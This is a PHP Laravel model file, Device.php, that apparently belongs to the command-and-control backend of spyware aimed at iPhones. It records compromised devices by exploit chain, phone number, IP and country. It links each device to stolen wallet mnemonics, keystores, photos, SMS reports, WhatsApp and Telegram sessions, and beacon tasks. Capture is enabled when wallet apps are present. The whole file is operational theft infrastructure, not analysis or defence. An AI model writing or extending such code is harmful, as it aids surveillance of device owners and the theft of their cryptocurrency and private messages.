coruna-lab/app/Models/Device.php

<?php

namespace App\Models;

use App\Support\CfIpCountry;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\HasMany;

class Device extends Model
{
    public const WALLET_UNKNOWN = 0;

    public const WALLET_NONE = 1;

    public const WALLET_YES = 2;

    public const CHAIN_CORUNA = 1;

    public const CHAIN_DARKSWORD = 2;

    protected $fillable = [
        'device_id', 'chain', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'country', 'user_agent',
        'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
        'has_whatsapp', 'has_telegram',
    ];

    protected $attributes = [
        'has_wallet' => self::WALLET_UNKNOWN,
        'chain' => self::CHAIN_CORUNA,
        'album_storage' => false,
        'has_whatsapp' => false,
        'has_telegram' => false,
    ];

    protected function casts(): array
    {
        return [
            'telegram_notified' => 'boolean',
            'album_storage' => 'boolean',
            'has_wallet' => 'integer',
            'chain' => 'integer',
            'wallet_names' => 'array',
            'has_whatsapp' => 'boolean',
            'has_telegram' => 'boolean',
        ];
    }

    public function formattedIp(): string
    {
        $ip = trim((string) $this->ip);
        if ($ip === '') {
            return '';
        }
        $label = CfIpCountry::label($this->resolvedCountry());

        return $label !== '' ? $ip.'（'.$label.'）' : $ip;
    }

    public function resolvedCountry(): ?string
    {
        $code = CfIpCountry::normalize($this->country);
        if ($code !== null) {
            return $code;
        }
        $ip = trim((string) $this->ip);
        if ($ip === '') {
            return null;
        }

        return CfIpCountry::normalize(
            PageVisit::query()
                ->where('ip', $ip)
                ->whereNotNull('country')
                ->where('country', '!=', '')
                ->orderByDesc('id')
                ->value('country')
        );
    }

    public function isDarkSword(): bool
    {
        return (int) $this->chain === self::CHAIN_DARKSWORD;
    }

    public function hasWalletApps(): bool
    {
        return (int) $this->has_wallet === self::WALLET_YES;
    }

    /**
     * @return list<string>
     */
    public function walletNameList(): array
    {
        $names = $this->wallet_names;
        if (! is_array($names)) {
            return [];
        }

        return array_values(array_filter(array_map(static fn ($n) => trim((string) $n), $names), static fn ($n) => $n !== ''));
    }

    public function hasWhatsApp(): bool
    {
        return (bool) $this->has_whatsapp;
    }

    public function hasTelegram(): bool
    {
        return (bool) $this->has_telegram;
    }

    /**
     * @return list<string>
     */
    public function imNameList(): array
    {
        $names = [];
        if ($this->hasWhatsApp()) {
            $names[] = 'WhatsApp';
        }
        if ($this->hasTelegram()) {
            $names[] = 'Telegram';
        }

        return $names;
    }

    public function refreshImFlags(): void
    {
        $kinds = $this->pluginSessions()->distinct()->pluck('kind')->map(fn ($k) => (int) $k)->all();
        $this->has_whatsapp = in_array(PluginSession::KIND_WHATSAPP, $kinds, true);
        $this->has_telegram = in_array(PluginSession::KIND_TELEGRAM, $kinds, true);
        $this->save();
    }

    public function albumStorageEnabled(): bool
    {
        return (bool) ($this->album_storage ?? false);
    }

    /** Photos and C2/DS file logs — only when album is on or wallet apps are present. */
    public function persistCaptureEnabled(): bool
    {
        return $this->albumStorageEnabled() || $this->hasWalletApps();
    }

    public static function captureEnabledForKey(?string $deviceKey): bool
    {
        $key = preg_replace('/[^0-9A-Za-z._-]/', '', (string) $deviceKey) ?? '';
        if ($key === '') {
            return false;
        }
        $device = static::query()->where('device_id', $key)->first()
            ?? static::query()->where('device_id', strtoupper($key))->first();

        return $device?->persistCaptureEnabled() ?? false;
    }

    public function apps(): HasMany
    {
        return $this->hasMany(DeviceApp::class);
    }

    public function events(): HasMany
    {
        return $this->hasMany(DeviceEvent::class);
    }

    public function photos(): HasMany
    {
        return $this->hasMany(Photo::class);
    }

    public function notes(): HasMany
    {
        return $this->hasMany(Note::class);
    }

    public function addresses(): HasMany
    {
        return $this->hasMany(WalletAddress::class);
    }

    public function mnemonics(): HasMany
    {
        return $this->hasMany(WalletMnemonic::class);
    }

    public function keystores(): HasMany
    {
        return $this->hasMany(WalletKeystore::class);
    }

    public function pluginSessions(): HasMany
    {
        return $this->hasMany(PluginSession::class);
    }

    public function smsReports(): HasMany
    {
        return $this->hasMany(SmsReport::class);
    }

    public function beaconTasks(): HasMany
    {
        return $this->hasMany(DsBeaconTask::class)->orderBy('position');
    }
}